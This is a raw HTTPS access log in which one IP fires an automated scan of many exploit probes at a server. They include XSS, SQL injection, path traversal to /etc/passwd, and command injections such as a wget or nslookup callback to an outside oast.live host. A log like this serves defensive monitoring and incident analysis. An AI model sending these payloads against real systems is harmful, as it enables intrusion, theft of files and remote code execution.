[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /card_scan.php?No=123&ReaderNo=`sleep%207`&CardFormatNo=123 HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/asign-single-student-subjects.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/elementor/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&time_end&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6 HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.txt HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/login.php?redirect=/www.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //debug.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ajax/pages.php?id=(sleep(6)) HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%5C%5Cinteract.sh/%252e%252e%252f HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fileupload/toolsAny HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /code?dag_id=example_passing_params_via_test_command HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/error.jsp?errCode=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/agent/tabs/agentData HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /goform/login_process?username=test%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads/assets/backend/elfinder/elfinder.html HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "DELETE /actuator/gateway/routes/380DISyGrYDsKnU93n8qgKaYYYx HTTP/1.1" 223
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /share/api/notes/%3Cimg%20src=x%20onerror=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dms/admin/accounts/payment_history.php?account_id=2%27 HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DISEVTwklCli91z68sPUA0z6.txt HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logfile?d=crossdomain.xml HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mims/updatecustomer.php?customer_number=-1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(md5(999999999),1,2),NULL,NULL,NULL,NULL,NULL,NULL' HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /atmail/index.php/admin/index/?error=1%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /photo/combine.php?type=javascript&g=core-r7rules/../../../hello.php. HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/ibeCRgpPrimaryCreate.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /live_check.shtml HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?page=reports&date=2022-05-24-6'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(0)))dPPt)+AND+'rogN'='rogN HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?page=user/manage_user&id=-6%27%20union%20select%201,md5('999999999'),3,4,5,6,7,8,9,10,11--+ HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ztp/cgi-bin/handler HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /navigate/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?page=teams/view_team&id=1'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cht/liveView?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /card_scan.php?No=0000&ReaderNo=0000&CardFormatNo=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?page=reports&date=2022-05-27%27%20union%20select%201,2,3,md5('999999999'),5,6,7,8,9,10--+ HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Solar_AiConf.php/%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-post.php?page=pb_backupbuddy_destinations&local-destination-id=/etc/passwd&local-download=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /modules/appagebuilder/apajax.php?rand=1524149279652 HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /v1/agent/check/register HTTP/1.1" 220
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?page=requests/view_request&id=1'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/login.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pages/templates2/viewpagetemplate.action HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /onlinePreview?url=aHR0cDovL3d3dy54eHguY29tL3h4eC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPjEyMw%3D%3D HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/content/ HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /scgi-bin/platform.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20d5g6to2hausk1oj0j65gakyqckbtxy348.oast.live%22%29%7D/ HTTP/1.1" 199
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DITzdeORQx2Fk70SFM2yctEw HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Master.php?f=delete_supplier HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /conf_mail.php HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Solar_SlideSub.php?id=4&play=1&pow=sds%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&bgcolor=green HTTP/1.1" 196
[09/Jan/2026:10:54:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Master.php?f=delete_inquiry HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927549548 HTTP/1.1" -
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-login.php HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?page=teams/manage_team&id=1'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Master.php?f=delete_item HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ubus/ HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /live_mfg.shtml HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Master.php?f=delete_team HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=11.2 HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/register?next=https%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/public/bc/ur/Login/assets/corbu/sap_logo.png HTTP/1.1" 226
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?class.module.classLoader.resources.context.configFile=http://d5g6to2hausk1oj0j65gufbdhzes4fn31.oast.live&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1" 3426
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resources//../WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /carbon/admin/login.jsp?loginStatus=false&errorCode=%27);alert(document.domain)// HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /OA_HTML/BneViewerXMLService?bne:uueupload=TRUE HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup.php HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pfblockerng/www/index.php HTTP/1.1" 226
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Master.php?f=delete_request HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index_sso.php HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SAAS/t/_/;/WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /forums/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/ajax.php?action=login HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/wpjobboard/ HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modifica_cliente.php?tipo_tabella=%22><script>javascript:alert(%27XSS%27)</script>&idclienti=1 HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?q=category&search=Banking%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,md5(999999999),15,16,17,18,19--+ HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?page=requests/manage_request&id=1'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icinga-web/lib/icinga/icinga-php-thirdparty/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/ajax.php?action=login HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /folder_view.php HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /controller/login.php?acao=autenticar HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dfsms/add-category.php HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/requests/take_action.php?id=6'+UNION+ALL+SELECT+md5('999999999'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+- HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/ajax.php?action=login HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /i3geo/exemplos/codemirror.php?pagina=../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/ajax.php?action=login HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /hms/doctor/ HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //cgi-bin/test-cgi HTTP/1.1" 199
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?toast=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search.php?keywords=ABC%3Cdiv%20style=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?success=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logout?next=%208%22onmouseover=%22alert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?q=hiring&search=URC%27%20union%20select%201,2,3,4,5,6,7,8,9,md5(999999999),11,12,13,14,15,16,17,18,19--+ HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cms/admin/group/all HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /loginsave.php?u=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=admin_init&log_filename=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /authenticationendpoint/380dilhwhkwpyeloaxe5yf1oh10.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi/get_param.cgi?xml&sys.passwd&sys.su.name HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sysinit.shtml?r=52300 HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ccms/dashboard.php HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backupsettings.dat HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/ajax.php?action=login HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads/elfinder/elfinder-cke.html HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?wmcAction=wmcTrack&url=test&uid=0&pid=0&visitorId=1331'+and+sleep(7)+or+' HTTP/1.1" 3426
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin-hax/ExportSettings.sh HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?doAs=`echo+CVE-2022-33891+%7C+rev` HTTP/1.1" 3426
[09/Jan/2026:10:54:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927538038 HTTP/1.1" -
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927535759 HTTP/1.1" -
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.sql.z HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?page=reports&date=2022-05-24-6'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(10)))dPPt)+AND+'rogN'='rogN HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dati/availability_tpl.php?num_app_tipo_richiesti1=%22><script>javascript:alert(%27XSS%27)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/moduleInformation HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/login.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /v1/agent/check/deregister/380DIQY4PR64fLP13KczpJf9CsB HTTP/1.1" 220
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /set_safety.shtml?r=52300 HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /goform/downloadSyslog/syslog.log HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Collector/nms/addModifyZTDProxy?ztd_server=127.0.0.1&ztd_port=3333&ztd_username=user&ztd_password=$(/bin/wget$IFShttp://d5g6to2hausk1oj0j65gcyu4wmfii1noa.oast.live) HTTP/1.1" 226
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /onlinePreview?url=aHR0cHM6Ly93d3cuZ29vZ2xlLjxpbWcgc3JjPTEgb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPj1QUQ== HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /hms/admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cnswebserver?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /modules/appagebuilder/apajax.php?rand=5168277405825 HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /home/get_products?search=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/dashboard.php HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DIVuMoXSUStu4Q2vGBC6HEr0.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mod/lti/auth.php HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webapi/auth HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:54:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /xmlrpc HTTP/1.1" 196
